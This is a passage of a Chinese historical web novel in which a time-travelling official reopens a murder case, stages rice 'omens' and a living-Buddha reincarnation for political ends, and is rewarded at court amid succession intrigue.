他们这些人不如上边真正的封建头子们有刀有枪,也不如下边的贫民舍得下命,只要杀鸡儆猴就能吓软大多数人,因而立刻命县令把“夫杀妻”之案的案卷拿来,刘家这只鸡他是非杀不可了。 这卷子看得人心肌梗塞,人犯本来就不是什么好东西,平日里一喝点儿酒就打媳妇,周围人也全都知道。 卷中写的是,人犯醉后与其妻子争吵,激怒之下暴起杀人,人证就是邻居的鳏夫,他听见了争吵声和惨叫声。 段之缙一眼就看出来了古怪的地方,“案卷中说人犯和死者争吵的原因还与这邻居有关?” 县令回道:“正是,任屠行为很不检点,那日他邻居的远房妹妹与妹夫来借住,男人们在一块儿喝了几口,那小女子来添酒人犯语言间很不尊重,叫两个男人赶了出去。他邻居余四气不过和死者说了,这才吵了起来。” “你说过邻家是个鳏夫,拉扯着一个孩子,人犯为何愿意与一贫如洗的邻居和素未谋面邻居远亲饮酒?岂不是太怪了?再有那邻居,不仅同人犯喝酒还去挑唆,真是生怕人家两口子打不起来啊……” “大人,这不是还有个年轻貌美的妹子在吗?” 似能说通,段之缙叫人去传邻居余四问话,和蔼笑道:“别紧张,因着秋审要到了,你邻家那个案子还得再核对一番。” “本官问你,人犯同你妹子何余氏都说了些什么,你们兄弟二人又是如何将人犯赶出去的?” 余四一愣,可怜道:“老爷说错了,我妹子三娘夫家姓陈。” 段之缙见没诈出来,心中有些烦躁,又开始说些乱七八糟的闲话,俱是家长里短孩子多大的无用之语,叫余四的戒备心渐渐放下,似不经意间来一句:“你妹子心志够坚的,被人犯冒犯了竟一滴眼泪也没掉。” 余四顺着他道:“可不是嘛大人,小人这个妹子最是坚韧,气性高得很……” 他模模糊糊说了些,段之缙但听不语,手上那厚厚一摞供词、案卷哪里有一句提过他妹子被冒犯之后的反应? 虽不排除瞎猫碰上死耗子,但这也足够令人生疑的了。 段之缙把案卷的细节颠来倒去地问,真话假话掺着说,余四果然又露出了两三破绽,最后问完了话,段之缙道:“朝廷的规制是秋审之前再问一次案件,但你妹子的住处记漏了,把你妹子的住处说来好方便衙门传唤。” 余四胸有成竹地说了,段之缙叫人送他离开,另派人紧紧监视。 倘若这妹子、妹夫是假的,余四定然有所举动。 再回头看一眼脸色难看的县令,段之缙啧一声似宽慰又似嗔恼,“做甚又弄出这副样子来?也不能说你的法子没用,起码也是替死者出口恶气。” 县令哭丧脸道:“全怨下官查案不轻,这……”他絮絮叨叨说自己的不是,说了片刻又抱怨起朝廷的制度,嘟嘟囔囔道:“若不是律令定得严,下官又何至于闹出此种冤案?” 段之缙猛地捂住他的嘴,瞪眼道:“这话也是能说的?” 非议王政,真是饿死鬼投胎,断头饭也想吃。 第130章 130余四在衙门里装得如什么好…… 余四在衙门里装得如什么好人一般,可出了衙门到底没沉住气,连夜去找刘家人,被跟踪的差役抓个正着,当场按下,这案子便也顺理成章地重审。 原来那酒水里另有叫任屠发狂又神志不清的药物,虽余四和他的“妹夫”二人都不足以致死者两根肋骨断裂,但中药的任屠却能够在其指引下杀死妻子,凶器正是把柄杀猪刀。 清醒过来的任屠遗忘了所有的事情,只恐惧地看着面前死难的妻子和满手鲜血,而邻家已经报官。 段之缙又将探子带回来的消息和那边抓到的四位人犯的供词核对,这才理清刘双喜在长宁府做下了多少业障,不死不足以平民愤。 因为证据确凿,段之缙命人去逮捕,谁知刘家大门紧闭却射出了军用的弓箭。 当时知府也在场,吓得冷汗直流,段之缙反手给了他一巴掌。 军用的重箭非外边的铁匠等能锻造,一定是从军中流出来的,而眼前的知府嫌疑最大。 可重弓威力再大,也比不过改良过后的火铳,组排射击大门,没过一会儿那大门就轰然倒下,这个祖上当过土匪的气数已尽。 对刘双喜本人的审问极快,几乎是没日没夜地审,因为秋审在即段之缙想在今年就把他解决了,也好接着摊丁入亩。 供词也不以刘双喜的为主,只要奴才的供词能两两相合即便刘双喜已经不记得了,这事儿也搬到他身上。 问到最后死刑跑不了,只剩下死法的选择了。 今年秋收在即,清丈的活计是弄不完了,怕要拖到明年。 段之缙把学生闹事,题参学政、知府和摊丁入亩的现状具折上奏,只能在外边办差没带包诸,只能用县令的文启师爷,好歹也能糊弄过去,而皇帝的圣旨来得也快,允准了他将刘双喜审后遣回岺州行刑的请求。 对学政、知府和当地县令的处置也皆允其所请,但圣旨透露出的信息却勾起了他挥之不去的担忧。 又被参了。 自摊丁入亩以来,段之缙已经被来回题参过多次,朝廷上下的眼睛全盯在这一亩三分地儿上,动辄得咎。 皇帝自然是一心向着他,屡次叮嘱他全心全意地办差,一切的后果都由自己担待,但段之缙不能不担心。 先不说圣心难测,伴君如伴虎,就说是后来之君会不会把他当做酷吏佞臣,尤其在当今皇太子的老师仍然有丁家人的情况下,这并非是杞人忧天。 这已经不是辞官不辞官的问题了,普天之下莫非王土,他就算辞官回了淮宁又能如何呢? 思来想去,摊丁入亩必须要做,不做纪禅不会放过他,但也一定要叫朝廷的官员们承认这是善政,堵住悠悠众口。 什么能把所有人的嘴堵住? 似乎只有天意神迹了。 没有祥瑞也要制造祥瑞出来。 段之缙乘马车去了移种不育株的郊外田野边,这里由重兵把守,方圆几里之内再不许种任何水稻,唯恐串了花粉。 且如今不育株也不仅仅只有三棵。 果然金钱是第一动力,上回那老伯一宣扬,大家漫山遍野地找稻子,虽有不少弄虚作假之人,但花药发育异常的不育株也切切实实找到了五棵,现在总计八棵不育株。 倘若杂交之后产的种子全都带有不育基因,明年春耕过后就有几百棵不育株了。 明年又要进京述职,加上这一次收成,总共也就能收三次稻子,这三次稻子不一定要做出什么切实的成果,但只要能有一株双穗或者是格外大稻穗出现,自己便能顺理成章地报祥瑞,到时候再加上一些“神迹”,神人托梦、天放红光、七彩祥云之类的,为了维系朝廷的体面,也没有大臣敢说不是祥瑞。 既然祥瑞都出现在了南诏、岺州二省,谁又敢说这里有恶政? 他们敢用天人感应来攻讦段之缙,段之缙也能用天人感应来反击。 段之缙最后检查了一番稻子,回到县衙给外祖王家写信,托他们从各地弄来不同的稻种,产量大的旱稻最好,水稻也要。 剩下的只有等待,等着眼前这些沉甸甸的稻粒化成秧苗,明年再出一波。 秋收之后,刘双喜的案子已经定结,等他被压回岺州的时候就当众腰斩,既是杀鸡儆猴,也是为了平息民愤,叫大家伙顺顺利利走到摊丁入亩的路上来。 而因为土匪出 身的人都要做刀下鬼了,到冬日农闲之时,地主缙绅老实不少,颇有些任人宰割的味道在。 至于西北那边也是一切顺利,沈白蘋从南诏送信过来,说赤砂的叛军虽和穹迦人勾结,但于事无补,已经被朝廷的大军剿灭,唐馥当众杀死了阿速勒,他的残部也已经成为俘虏。 只是大慈悲寺的仁通大师因为战乱圆寂,现在唐馥正在给他主持仪式。 她还在信中说了一些怪事,按理说阿速勒已死,朝廷的大军也该撤回,但他们仍是在边境之处逗留,虎视眈眈,不知道是想做甚。 说完了西北的事情,沈白蘋又说起段诠这个小混蛋,读书读得多了,却一点不叫人省心,前几日竟然和人打架,被自己好好拾掇了一顿。 又说起了一件喜事,京里的母亲送信过来说,从紫阳宫找道士给妹妹的小子算过了,他是命硬专门克自己,带上虎牙之后也不知是凑巧还是真的有用,身子康健起来,今年一年虽不敢说无病无灾,但伤风感冒都好得极快。 絮叨了些家长里短,又说起茶山的趣事,那些个乡绅富豪怪有意思,求他们去茶山里投钱,他们是不肯的。一定要偷偷摸摸地打听到总督的师爷们全都往茶山里投了钱,总督的钱也在茶山里边才着急上火地请托,看看有什么办法能也在茶山里投入一些金钱。而后南诏的商人也跟着打听起来,纷纷往其中投入人力物力。现在茶山的资金很富裕,等着明年盈利就能见着回头钱了。 段之缙看得忍俊不禁,想着既然茶山明年就能盈利,普洱茶的名号也应该早早打出去,皇帝就是一个很好的营销手段。 毕竟这世上还有什么东西比皇帝更金贵呢,什么东西都没有皇帝金贵。 它是独一无二的,一般来说一国范围内有且仅有一个。 只要明年的茶叶能够卖出去,商税就能提高一大截,不仅藩库,国库都能跟着富裕起来。 而且在清丈土地的时候,段之缙也派人探查过了,岺州同样是一个不错的种植茶叶的地方,这个地方还很适合种植药草,只要杂交的水稻能够成功,就能辟出来相当一部分土地来种植经济作物。 此外,不仅国内茶叶的消耗量极大,洋人们也是离不开茶叶的,这天朝上国的御茶想必也好卖得很。 只可惜他还能在此地搞摊丁入亩的事情,连过年也回不去。 不过计划赶不上变化,他原本的打算是想跟着一块儿清丈土地的,但还没等得刘双喜回到南诏行刑京里就来了第二道圣旨和给他的密折,段之缙这才弄明白了皇帝是何种打算。 一鼓作气,拿下穹迦高地。 作为两省总督又临近战场的段之缙则把控西南、西北军的粮草,但又不许在省内呆着,还要叫他上高地做监军。 皇帝决心已定,想要的是一个完美的出兵借口,甚至还想要御驾亲征成此不世之功,叫段之缙打了个寒战。 搞天子守国门那一套,但守国门的天子少,叫国门的天子多啊! 纪禅虽不至于到那个地步,但是千里迢迢,万一有个水土不服直接山陵崩,皇太子倒是顺理成章继位了,段之缙可怎么办? 再者新旧交替往往是□□之时,为了拉拢读书人笼络朝臣,刚刚起步的摊丁入亩直接半道儿破产,如何叫段之缙受得了? 吓得他立刻上折,劝皇帝不要涉险,字字声泪俱下,恨不得以刀为笔以血为墨,又赶紧给京里的友人去信,叫他们千万要劝住了皇帝,倘若叫自己在南、岺看到了皇帝还不如死了算了。 至于开战借口一事,倒是不难。 仁通法师是活佛,活佛园寂之后还能够转世,历史上本不乏宗教战争,雍朝也完全可以此为借口。 只要说活佛转世到了穹迦内陆即可,军队进去不是为了开战,完全是为了找我们的小活佛啊! 至于谁是小活佛,还不是官员们说了算? 此法还有一个好处,穹迦扫清之后朝廷可顺势推行佛教,小活佛也带到京中教养,让他亲善朝廷和皇帝,等他长大后再送回穹迦担任政教一体的活佛,这样也便于朝廷管理。 穹迦的事务要紧,段之缙也不敢耽搁立刻启程,王章则带着新收的稻子去了南边一年三熟之所,准备下一茬在那里种。 段之缙临行前千叮咛万嘱咐,千万要小心翼翼地服侍,授粉也要精致些。 王章一而再再而三地答应下来,送段之缙启程上路。 等他到了西南的时候才发现这次西南用兵,皇帝是何等的重视。 无他,两个女婿都来了。 一进军营,一小半是熟人,方叙墨、向古、苏橙自然不必说,唐馥也在,变了好大的模样。 原先还俊美得很,现在真是武将一个,浑身肃杀之气,自有一番气场在。 军中不许宴饮,大家又都是公务在身,尤其是段之缙名义上为大家的粮草保驾护航,实则是做皇帝的眼线,因而帐内西北军的将士对他总是防备忌惮,唐馥与他几年不见也疏离不少。 一伙人以公务始以公务结,旁的一句没说,段之缙担心皇帝却也没开口的时机,只能晚上去钻方叙墨的帐子。 “你来的时候,御驾亲征那个事儿怎么样了?” 方叙墨给他倒上茶水,“嗐,皇上身子都不太好了,怎么可能到西南来,也就是过过嘴瘾,并无他事。” “身子不好了?可陛下一向康健啊?” “和先帝一样,丹药上瘾戒不了,谁劝都不好使,就喜欢大半夜不睡觉看折子。但也别太担心,我瞧着嘛也还好,肯定还有十多年。” 这才叫他放下点儿心,又想起来白天方叙墨和苏橙古古怪怪的样子,问道:“你和小苏大人是怎么回事儿?闹脾气了?” 方叙墨这次犹豫起来,半晌反问道:“你觉得太子……能登基吗?” 这里也没有外人,段之缙能够“预知”登基的皇子是哪个,反正绝不是当今的皇太子。 可现在许多皇子还没有名字,他也不敢说是谁。 方叙墨道:“实话给你说,也是给你提个醒,我看圣心定然是在三皇子那里,现在的太子不过是稳定朝局的工具,一旦三皇子长成定然要废长立幼。” “你怎么知道的?” “你不在京中不知道,特意挑了冬至祭天的时候给明灯赐名,又赐了祚这个字号。祚是什么意思,还用我说吗?” 纪明祚…… 段之缙搓一搓自己的手指,眼帘半合。 还真是他啊,方家这次算是从始至终站对了……吗? 方叙墨又道:“可苏家,他们榆木疙瘩不开窍,认死了皇太子。我之前思虑着连襟的关系提点过苏橙,苏橙转头告了皇上,幸好皇上没反应,要不然可真惨了。” 这都是积下来的冤孽啊。【你现在阅读的是 】 130-140 第131章 131国中又有皇储之争,这不是…… 国中又有皇储之争,这不是善事。 段之缙必须承认,纵然当今皇太子有种种缺点,但他并没有过错,倘若贸然废长立幼除非幼者为嫡子,否则无论怎样也说不过去。 当今越过誉王继位已经引起过轩然大波,但好歹誉王什么德行大家也清楚,但若在当朝出了太子无故被废的恶政,纪禅的名声不要紧,给子孙后代留下了不好的先例才是难办的事情。 嫡长子继承千不好万不好,胜在稳定。 但要说段之缙就支持苏橙吗? 那倒也没有,苏橙显然是个棒槌,哪有把臣子间的小话儿跟皇帝说的。 “不过你的嘴也太不严实了些,是连襟又不是亲兄弟,你跟他说这干什么?” 方叙墨气道:“若不是为了灵慧妹妹,我岂会跟他说这个?罢罢罢,何该是他们家倒霉,只可怜了灵慧……” 政|治上的悲剧就在于一旦失败往往没有重来的机会,家里的蚯蚓都要被斩成两截。 段之缙不置可否,十年的变化何其巨大,不是他说丧气话,“段之缙”都能做封 疆大吏了,皇太子未尝不能登基。 “你自己小心行事,不怕一万就怕万一,根本没必要如此早的下水。只要你们公主还爱重你的好颜色,拖上个七八年待局势再明了些又何妨呢?” 方叙墨沉默良久,在他心里什么时候下场,得到的回报可是天差地别。 这年头会办差倒是在其次了,会站队才是真本事。 段之缙劝了他几句便回去睡觉。 翌日醒来,大家聚在一起商量选小活佛的事情。 仁通法师是十月份圆寂的,那么也就应当选十月份出生的孩子统领这个地方,摆在他们面上的问题就只剩下一个——选哪一个阶层。 若是选贵族叫既得利者再得利,的确能够叫他们归降,之后的治理也不会太过艰难,但他们能够心悦诚服吗?能对朝廷忠心耿耿吗? 若是选穷苦的穹迦人,问题则为之一变:这些一穷二白的孩子被选出来,在当地并没有什么威望,如何能够被认为是活佛转世呢? 若是从理性的角度来说,段之缙宁愿选择先难后易从长远处打算,也不愿意等到穹迦贵族们成了气候才兴起战争。 他想了又想问道:“大慈悲寺可有仁通法师的子弟或者是其他服侍的人。” 唐馥答道:“自然是有的,他的弟子妙法、常法就在大慈悲寺内。” “他们在信众之中的名望如何?” “虽不及仁通法师,但是也有一二的号召力。” 段之缙道:“这样的话,叫他们跟着军队去迎接转世活佛倒是有几分可行性,不过真正有效的恐怕还是要制造祥瑞,毕竟活佛降世总会有一些神而又神景象出现。” 段之缙只是监军,找活佛的事情他不会去参与,不过有些事情却还要叮嘱一下。 “小活佛到底是怎么回事,大家心中清楚,我的心中也很明白。但事情要做圆满,将转世活佛带回大慈悲寺的时候,一定要诚心供奉,即便是演也要演出来个虔诚万分。” 这些打仗的除了怕皇帝,还能怕个谁?造出来那些杀业,别说是活佛了,就是真的释迦牟尼来了,他们也不怕。 方叙墨笑道:“你不放心他们难道还不放心我?这一次我会跟着去的,至于怎么照顾转世活佛,小孩子还有什么不好伺候的呢?我伺候我儿子,伺候三皇子,都是手拿把掐。” 于是过些时日大军开拔,军事上的事情自然不用段之缙管,但是一切的管理包括行军过程中有无侵扰当地的百姓等事宜段之缙都要具折上报。 也是因为有了监军的,唐馥特意叫手下的将士们收敛起来,没有侵犯一家一户。 与此同时,随着日子一天天过去,段之缙也收到了稻花开放的消息,可王章的信叫他心里大失所望。 授粉之后,这一茬的稻花竟然有一多半都是有花药的,并且花药发育得极好,摘下放入水中很快就荡起了一小片黄色的涟漪。 最后得到的不育株总共也就不到百棵。 但幸好王家外祖很快送来了大江南北十几种稻种,也已经播种下去,近日授粉完成。 一棵稻子平均分配四五棵不育株,现在已经做好标记区别开来,只希望第二批能出现什么奇迹,选育出能够使后代全是不育株的品种,或者出现段之缙设想里的祥瑞。 南诏那边王章农夫做的热火朝廷,穹迦高地上唐馥与当地崇信佛教的奴隶相互配合,战事推进得极快,等到八月份初的时候,秋风扫落叶一般扫清了一半多的土地,还将小活佛送到大慈悲寺教养。 苏橙和方叙墨将他送回,不到一岁的奶娃娃,在金箔漆的轿子里坐着,被仁通法师的两个弟子护持,一路到大慈悲寺来。 段之缙左看右看,不见孩子的父母,问起来。 苏橙道:“活佛怎么能有父母呢?我们特意挑了孤儿。” “那你们怎么制造的天生异象?” 方叙墨把孩子抱下,让两位法师弟子抱着带入禅院中去,这才答道:“妙法和常法两位禅师拜见他的时候,我让人在山上安置了炸药,只要他两位一下拜,立刻点燃炸药,当是时山崩地裂,岂不是活佛降世的征兆?” 段之缙失笑:“也就是仗着这边没怎么见过火药罢了。” 方叙墨顾着和他吵嘴,苏橙却打断了他们,“我们在前边的军帐收到圣旨。陛下的旨意是叫你不要着急进京述职,只要今年冬至祭天之时能够回去就行。” 方叙墨叫他闹得无趣,倒也不屑于和他说话,跟着段之缙笑道:“允生兄,你的造化来了,哪还见过皇上这样殷切叮嘱一个臣子赶过去祭天的呢?我想今年的宫宴,也必是你紧挨着陛下坐了。万望皇太子也能在你之下。” 这话说的,苏橙瞧着方叙墨嗔道:“皇太子殿下是储君,臣子岂能与太子相提并论?方大人,你这话就有些僭越了。” 方叙墨眼一眯,“好妹夫,你着什么急?还是说又想着跟陛下告状?只是可惜你的忠心耿耿,陛下倒能体谅我嘴上没个把门儿,喜欢实话实说。” 整个寺里都是火药味儿,段之缙大声念一句“阿弥陀佛”,蹙眉恼道:“我佛在上,你们就当着金像的面兴口舌之争?小心你两个下拔舌地狱吧!” 又拽着方叙墨走,恐吓起来,“你真是疯了,苏橙一拳打死你两个,你怎么敢和他吵嘴?” 方叙墨拍拍身上的衣服,“怕什么?他倒是敢打我吗?太子忠心耿耿的狗,只可惜主子扶不起来。你本就和此事无关,只等着十月带着小活佛布扎拉依回京去,不用担心我。” 段之缙真想给他一嘴巴子,都已经靠着灵寿公主吃香的喝辣的了为何还不安安生生地干活?好言好语说了一顿,最后了悟,好言难劝该死的鬼,他还是好好打算自己的稻子吧。 十一月初的时候,第三批稻子就可以收割了,而那个时候品质优良的混种到底能不能出现也全都能住知道结果,多少给以后的操作提供些思路。 段之缙写信回去,叫王章仔细观察,只要第三批有双穗或者是格外大的稻子就命画师作图,然后将稻穗摘下来用锦缎包好,一路北上在冬至前送到京城。 倘若没有那就画耕织图来,把民众欣欣向荣之景象全部展现在纸上。 在段之缙焦急的期盼中,第三茬稻子终于挑好时机种了下去,一直到抽穗的时候,王章写信来说,有一个混种发芽率极低,但是抽穗时候竟然全是多穗,双穗有五,三穗有二,画像也将在十一月中旬完成,到时候会连同稻穗一起送往京城。 然而能够稳定遗传的不育株还是没有发现,最多的时候也只有一半是不育品种。 没有稳定的不育株,是可能出现稳定的杂交水稻的。 段之缙安慰自己不要着急。这种事本来就急不得,杂交水稻技术在现代科技的加持下也是经过了漫长的时间才得以实现,自己若能够在十五年内完成,已经是得天地之造化了。 这期间,段之缙还给小活佛过了个生辰,等到十月中旬的时候启程带着小活佛往京里去,过了长江的时候,终于拿到王章送来的画和装在锦盒中的稻穗,各个都是沉甸甸的。 若说一株是巧合,那么五株定然是天意了。 王章也是机灵人,知道本地的画手是写意风格,特意从岭南那里找的洋人画家,七棵稻子栩栩如生,虽没有本朝的意境,但是却有真实感。 段之缙看着那七株稻穗,几乎要流下泪来。以后谁再敢说什么天人感应的话,那就纯粹是和上天对着干了。 这一路上还得教着布扎拉依说话请安,即便他年纪小但该有的礼仪决不能马虎,等着小孩子叭叭着小嘴终于会说那两句汉话,这一行人也终于赶在十二月冬至之前到了京城。 不过说来好笑,段之缙教的话并没能用上,纪禅一见布扎拉依便叫免礼,抱着一个 刚能被人扶着走两步的孩子痛哭流涕,怀念仁通法师。最后捻着自己的十八子念佛,“我佛慈悲以真身现世解救穹迦,可怜布扎拉依,日后就同朕的儿子们一起在尚书房读书吧。” 说完他擦擦眼泪,忽而一笑,“把布扎拉依送到承乾宫,叫他和奴奴碰碰面。” 也就是他的一些恶趣味了,倒想要看看自家那个“小和尚”和别家的活佛碰上面会有什么趣事。 第132章 132布扎拉依被领着去承乾宫,…… 布扎拉依被领着去承乾宫,皇帝才看向抱着两个锦匣的段之缙,打量两眼将茶碗磕在案几上,问道:“到底是什么宝贝东西叫你如此珍重,见了朕都不肯放下。” 段之缙捧着一长一短两个匣子上前两步,“回皇上,西南边徼,仰赖圣天子德化覃敷,雨调雨顺,臣总督府一处近郊旱田中得见双穗、多穗嘉禾,谷粒圆实,系自然生成,非人力所能伪为。臣查《礼斗威仪》有云:人君乘土而王,其政升平,则嘉禾并穗。今我皇上宵衣旰食,重农贵粟。德泽所被,故使炎徼遐荒,亦现灵瑞,实乃天心昭应,圣德感通。” 他说的时候,皇帝便有些喜不自胜,等着他打开锦匣,只见猩红毡子上躺着几株并穗稻子,黄澄澄地映在人眼中,皇帝便更坐不住了,趿拉着鞋子下地去看,小心翼翼地捧起来检查,的确是天生二穗并无作伪。 要说他信吗? 纪禅对天人感应一说自然是不信的。哪一年没有大灾小灾,若真是天人感应他不知道下多少道罪己诏。 就算是真的有天人感应,他也决不能承认。 可如今双稻在前纪禅却高兴到有些失态了。无他,和段之缙打着同一个主意,堵死朝中大臣们的嘴。不仅是改土归流的事情,还有日后太子的事情。 这么一想,段之缙可真真是忠臣能臣,什么样儿的难事都能给君父解决,便亲自拖着他起来,拉着坐到自己的榻边。 “跟朕说说是怎么找着的?” 段之缙道:“臣愚钝,在西南改良稻种,结果高产的稻种没改良出来,试验的田里竟生出了多穗的稻子。臣之家仆上报,臣想着定然是我圣主德感天地,才叫上天生此嘉谷。” 皇帝的注意力被牵扯到改良稻种上,要知道不仅西南段之缙在改良,宫里的农官们也在想办法改良稻种,但是从前朝开始就没什么进展。 他叫吕太清上茶,好奇问道:“改良得怎么样?”实则没有什么期望就是场面上表示自己的重视。 “还是有些麻烦,不过若能成功,臣想大概能将产量提高到原来的一倍半。” “多少?!” “回皇上,一倍半也就是北方的亩产也能达到三石以上。” 纪禅听着没说什么话,只颤抖着手去抓桌上的茶碗,结果一个不慎把茶水洒到了龙袍上。王贺赶紧上擦,却被他笑着拂开,“不妨事,不妨事,朕这是高兴的……高兴的。” 等着出了点儿小差错他才从震惊中清醒过来,问段之缙道:“你怎么如此确定?” 段之缙暗想:“我这都在现代的产量上减了不止一半了。”但他嘴上却说:“回陛下,臣之试验田中还有众多的稻子,其中有一些是能够达到这个产量的,所以臣想应当不会有差错。” 段之缙又将杂交水稻的步骤细细地讲给皇帝听,若要问什么原理,那段之缙哪儿知道?他能记得步骤还得是科技史学得好。 幸好纪禅也不多问,他对这些东西兴趣不太大,只振奋道:“原来这瑞稻不是天赐给朕的,而是你献给朕的!” “好!好!好!” 纪禅在金砖上来回踱步,又猛地停下转向段之缙说道:“若你能做成,赏什么也不为过!” 可是赏什么呢? 允升已经是一品了,等着摊丁入亩之后入阁,入军机处也是理所应当。 封爵?一等公? 可这样似乎流于俗套,毕竟武将封一等公者并不少见,可改良稻种的功劳岂是军功能够相提并论的? 皇帝灵机一动抓住了段之缙的手,“若你真能干成,朕不仅叫你的子子孙孙都继承一等公的爵位,世袭罔替!朕还叫你陪祀太庙,叫你受我子孙后代的供奉,与国同休!” 配……配享太庙? 这四个字对别人说了自然是无上荣耀,但段之缙的重点却在前边——世袭罔替的一等公。 不养儿不知父母恩,虽说段诠也不一定是不争气的儿子,但总得为着他考虑,毕竟段之缙就打算要这一个孩子了。 皇帝大发议论好长时间,好容易平静下来,心率一下降,便觉得有些头昏脑胀,一手撑着桌子坐下,一边小口嘬着茶平缓,段之缙为他抚背。 还不到知天命的年纪,身子怎么就这样了呢? 段之缙想起方叙墨的话,劝道:“陛下,丹药到底是损身子的东西,只能解一时之急,不能当做平常之药使用。” 他这一激动就要倒的样子,应当是心脑血管出了问题。皇帝却说不要紧,“只是近些年来事情繁杂,朕做提神之用罢了,穹迦的事情一摆平,大军还朝也就没有旁的要紧事,到那时朕的身子自然好转起来。” “对了,你夫人可将摊丁入亩的事情与你说了?” 段之缙有些怔愣,回道:“臣在高地上……说来惭愧,近两年来只通书信,未曾见过面,到了高地上之后更是连书信都少见了。” “那就是不知道了?你替朕办差,你媳妇在两省做摊丁入亩井井有条,岺州入国库的赋税就有四十余万,今年也没吃外省的协饷。还有茶山,朕要说什么好呀!” 他皇帝说着又激动,“茶税缴上了一百余万!” “是,臣不及夫人远矣。” 蘋儿的确是聪明,她请示过皇帝之后用皇家贡茶的名号卖茶,不但将茶分成三六九等,且在每一座山头都选了几棵上等的茶树“封”为贡树。 树上顶顶好的叶尖儿专门进贡给皇上,剩下的茶叶炒制之后用奇高的价格出售。 破天荒的价格自然会引起人的好奇心,只要有人问,那就有人答。 您能和皇上喝同一棵树上的茶叶,您说贵不贵? 这样便有人出价买,但官铺不会直接卖出去,而是选定好日子,挑一个好地方拍卖。 都拍卖了,自然是价高者得,最巅峰的时候,一两茶叶卖出了几万两白银,倒不是因为它的品质多么好,全是凭着在这些叶子旁边,有叶子制成了贡茶在皇上的茶碗里泡着呢! 商人们为了卖出高价更是无所不用其极,尤其是岭南的商人,他们和洋人通商才是宰人。 要知道,洋人可从没有买贡茶的资格,这一朝放开自然是漫天要价。 “你的媳妇就是一品诰命也担当得起……” 段之缙欣喜下拜,“臣谢主隆恩!” “别急!朕还没说完呢。她有这样的功劳和苦劳,闹一个诰命有什么意思?像是你给她挣得一样。朕要给她封夫人!章明夫人!这是她自己挣来的。” 段之缙大喜过望,又磕头谢恩,皇帝叫他不要多礼,又问了一些话才叫他回去。 一路上寒风刺骨,但也实在是“春风”得意。 回到家中,不仅有母亲、侄儿等在等候,云霓、谢征舆甚至是段之绪也在等着兄长归来。 见了段之缙有些兴奋地迎上去,但很快便愧疚地低下头。 段之缙和母亲对视一眼,“弟弟这是怎么了?” 段之绪道:“弟是不争气的东西,靠兄长的功劳蒙皇上圣恩入国子监读书,等着两年后就要参加吏部大考,入朝为官了。” “你这话说的,若不叫你去难道叫你儿子去吗?他才腿那般长能进去洗衣服吗?” 段之绪脸涨得通红,“二哥,我不是那个意思。” “难道叫我的锁儿去?” 段之绪更说不出话,段之缙这才笑道:“你是我的兄弟,我和你嫂子在外,家中事务全由弟妹操持,孝顺母亲的事情也全是你们来做,若说谢字,该我谢你们才对。” 真要因为当官传出来不孝的名声,那才叫段之缙欲哭无泪呢。 王虞叫他们都进屋,“一家人不说两家话,那么客气做甚?你二哥长兄如父,照顾你全是应当。而你做弟弟的自然要敬爱兄长,这也是本分之内。” 等着进了屋,长高不少的珠珠上来请安,身后跟着一个小弟弟,小弟弟后边还有好几个乳母,其中二人分别抱着一个婴孩。 段云霓拉着那个小男孩儿上来磕头,男孩儿的气质很像四皇子,都是弱弱的样子,脖子上挂着一颗虎牙,他一下子就认出了是谁。 “好心肝儿,好安安,叫舅舅抱一抱。” 安安怯怯地躲在父亲身后又跑到王虞怀里藏着,珠珠拉着二叔的袖子撅撅嘴,“弟弟胆子小,二叔别吓他,我给二叔看妹妹,是我的小妹妹。” 身后乳母抱着的两个女婴都一般大,原来一个是侄女, 一个是外甥女。 “好看,都是小鼻子小嘴,浓眉大眼的,定然是标志的女儿。” 段之缙挨个抱一抱,一家人聚在一起用饭又闲话几句,这才能够回自己的致远斋歇息,第二天又得跟着皇上去圜丘祭天,实在疲乏不堪。 先斋戒三日,而后祭天大典,皇帝为了压灭朝中的流言蜚语竟然将多穗图和稻穗一并呈现给上天,段之缙好好出了风头。 等到除夕日宫宴,虽没有叫皇太子殿下避开,但也如方叙墨所料紧挨着皇帝坐,就在诸皇子之下,文臣之中首屈一指了。 宫宴上的熟人很多,陌生人也极多,段之缙在翰林院官员当中看到了蒋育成先生,和同僚们推杯换盏,又时不时往这里看,和段之缙对视一眼之后遥遥地祝酒一杯。 段之缙赶紧饮下。 除此之外,似乎并无风波,但宫宴刚刚结束他就听得两声重叠的“允升”,回身一看,是秦先生、蒋先生和一位不认识的大人。 第133章 133“蒋先生,秦先生…… “蒋先生,秦先生?”方才在席上不敢去打招呼,现在见了两位先生段之缙赶紧行礼,“多年未见,先生们身子如何?” 秦先生拉着他的手道:“我的身子骨一向康健,只是肺多少有些毛病,并不妨事。” “那可要戒了旱烟、水烟,不要再叫先生的肺吃累了。” 段之缙又看向蒋育成,蒋育成大冬天地摇着扇子,竟显出了几分拘束,“我也好我也好……对了,这是翰林院的学士丁大人,是,呃,是太子的师傅。” 段之缙浑身一个激灵,眼睛一眯咧出一个笑,“丁承祖丁大人?” 丁承祖板正着一张国字脸,干干巴巴道:“正是在下。” “大人们找我有何贵干?可是秦先生想着找学生来喝酒?” 他话一转,一下子把蒋育成和丁承祖都抛开了,秦行摇摇头:“非也非也,是绥王小殿下叫你来着,我们不过是个跑腿的。” 绥王?怎么扯到绥王那里了? 既然是小王爷召见就没有不去的道理,虽然心中无限疑问,段之缙还是跟在秦先生身后随他去了。 结果远远看着那轿辇,段之缙真想扭头就走,被丁承祖一把钳住手腕。 段之缙也不是几年前那文弱书生了,他在西南那苦地方爬的山比在场的诸位走的路都多,胳膊一缩差点把丁承祖拽到在地,两个人才扶住了他。 “哎哎哎!这是干什么,这是干什么!” 秦行一巴掌拍上段之缙的后背,“小心着点儿,给我们丁大人拽倒磕伤了,唯你是问。” 段之缙顾不得师生情面,低声质问道:“这是去见绥王还是皇太子殿下?” 段家非世卿世禄大族,抗风险能力极差,自己压根不想卷入这场斗争中,万一出个意外,连和方家一般存留都不可能。 再者自己也根本不必卷入这场斗争。 “先生!秦先生!我可是您的亲学生!您看前边那杏黄轿子,这是绥王能用的吗?” 秦行还是拉住他,“你是我的亲学生,我还能害你吗?你听我的,去拜见一下咱们就走。” 段之缙将信将疑,还是跟着去了,杏黄轿子里钻出来一个小脑袋,手上挂着一串粉色碧玺十八子,而后又拱出来一个小脑袋,正是布扎拉依。 “王爷,段之缙到了。” 这样小的王爷,又在皇太子的轿子中,虽两年间变化不小,段之缙也猜出了是谁。 “臣段之缙拜见绥王殿下。” “起来吧。本王只是听说你已经回京了,想见见你罢了,还要多谢你两年前开解本王。这串十八子赐给你。 